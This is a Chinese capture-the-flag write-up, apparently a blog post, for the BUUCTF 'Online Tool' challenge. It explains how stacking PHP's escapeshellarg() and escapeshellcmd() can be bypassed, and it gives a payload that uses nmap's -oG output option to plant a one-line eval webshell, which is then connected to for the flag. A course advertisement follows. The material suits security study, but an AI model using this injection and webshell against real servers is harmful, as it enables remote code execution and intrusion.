BUUCTF [BUUCTF 2018] Online Tool

BUUCTF [BUUCTF 2018] Online Tool

考点:

  1. escapeshellarg绕过(参考链接
  2. Nmap -oG 将命令和结果写入文件

启动靶机,给出了页面源码:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

对源码进行分析:

  • $_SERVER["REMOTE_ADDR"]获取客户端的 IP地址;
  • $_SERVER['HTTP_X_FORWARDED_FOR']是透过代理服务器获取客户端真实IP地址;
  • 若未设置GET传入参数host的值,将显示源码;
  • 变量$host经过escapeshellar()escapeshellcmd()方法防止注入参数
  • 将执行命令拼接,输出
    Nmap的扫描结果

首先传入正常的参数127.0.0.1,获得返回结果:
在这里插入图片描述
尝试通过|||;&&&等操作实现命令执行:
在这里插入图片描述
均无法执行命令,通过查阅escapeshellarg函数的资料,发现存在绕过漏洞:参考链接

  • 传入参数:127.0.0.1' -v -d a=1
  • 经过escapeshellarg()函数处理后变为:'127.0.0.1'\'' -v -d a=1',也就是将其中的'单引号转义,再用单引号将内容包含起来
  • 处理完的字符串再通过escapeshellcmd()函数的处理,变成:'127.0.0.1'\\'' -v -d a=1\',因为escapeshellcmd()函数对\以及最后的未闭合的'进行了转义
  • 由于两次函数的处理,最终参数可简化成:127.0.0.1\ -v -d a=1',因为包围127.0.0.1的单引号产生了闭合,\\被解释为\,中间的两个单引号''完成了闭合,最终留下了a=1',也就是末尾的单引号。

结合本题环境,常用的命令注入方法都不行,题目环境为Nmap扫描,查阅到Nmap可以写入文件,其中参数-oG可以实现将命令和结果写入文件,尝试构造如下Payload

127.0.0.1 <?php @eval();?> -oG hack.php

首先在本地环境进行测试:

<?php
	$host = '127.0.0.1 <?php @eval();?> -oG hack.php';
	echo $host;
	$host = escapeshellarg($host);
	echo $host;
	$host = escapeshellcmd($host);
	echo $host;
?>

简单写入一句话木马,会被escapeshellarg()escapeshellcmd()函数处理为:'127.0.0.1 \<\?php @eval\(\)\;\?\> -oG hack.php'
在这里插入图片描述
因为两端单引号闭合,所以一句话木马只是被当成了字符串处理。

所以需要闭合所有的单引号,将一句话木马变成一条命令,尝试在Payload前后均加上'单引号:

'127.0.0.1 <?php @eval();?> -oG hack.php'

得到如下结果:
在这里插入图片描述
所有的单引号均已闭合,最终可简化为:

\127.0.0.1 <?php @eval();?> -oG hack.php

可不添加HOST地址,构造为:' <?php @eval($_POST["hack"]);?> -oG hack.php '
在这里插入图片描述

命令成功执行,给出了文件保存位置:ddc77d2929732f2ee89e5e3b5914e33a
访问保存的文件:

http://xxx/ddc77d2929732f2ee89e5e3b5914e33a/hack.php

在这里插入图片描述

使用中国蚁剑连接一句话木马:
在这里插入图片描述
/根目录发现flag
在这里插入图片描述

已标记关键词 清除标记
相关推荐
程序员的必经之路! 【限时优惠】 现在下单,还享四重好礼: 1、教学课件免费下载 2、课程案例代码免费下载 3、专属VIP学员群免费答疑 4、下单还送800元编程大礼包 【超实用课程内容】  根据《2019-2020年中国开发者调查报告》显示,超83%的开发者都在使用MySQL数据库。使用量大同时,掌握MySQL早已是运维、DBA的必备技能,甚至部分IT开发岗位也要求对数据库使用和原理有深入的了解和掌握。 学习编程,你可能会犹豫选择 C++ 还是 Java;入门数据科学,你可能会纠结于选择 Python 还是 R;但无论如何, MySQL 都是 IT 从业人员不可或缺的技能!   套餐中一共包含2门MySQL数据库必学的核心课程(共98课时)   课程1:《MySQL数据库从入门到实战应用》   课程2:《高性能MySQL实战课》   【哪些人适合学习这门课程?】  1)平时只接触了语言基础,并未学习任何数据库知识的人;  2)对MySQL掌握程度薄弱的人,课程可以让你更好发挥MySQL最佳性能; 3)想修炼更好的MySQL内功,工作中遇到高并发场景可以游刃有余; 4)被面试官打破沙锅问到底的问题问到怀疑人生的应聘者。 【课程主要讲哪些内容?】 课程一:《MySQL数据库从入门到实战应用》 主要从基础篇,SQL语言篇、MySQL进阶篇三个角度展开讲解,帮助大家更加高效的管理MySQL数据库。 课程二:《高性能MySQL实战课》主要从高可用篇、MySQL8.0新特性篇,性能优化篇,面试篇四个角度展开讲解,帮助大家发挥MySQL的最佳性能的优化方法,掌握如何处理海量业务数据和高并发请求 【你能收获到什么?】  1.基础再提高,针对MySQL核心知识点学透,用对; 2.能力再提高,日常工作中的代码换新貌,不怕问题; 3.面试再加分,巴不得面试官打破沙锅问到底,竞争力MAX。 【课程如何观看?】  1、登录CSDN学院 APP 在我的课程中进行学习; 2、移动端:CSDN 学院APP(注意不是CSDN APP哦)  本课程为录播课,课程永久有效观看时长 【资料开放】 课件、课程案例代码完全开放给你,你可以根据所学知识,自行修改、优化。  下载方式:电脑登录课程观看页面,点击右侧课件,可进行课程资料的打包下载。
©️2020 CSDN 皮肤主题: 护眼 设计师:闪电赇 返回首页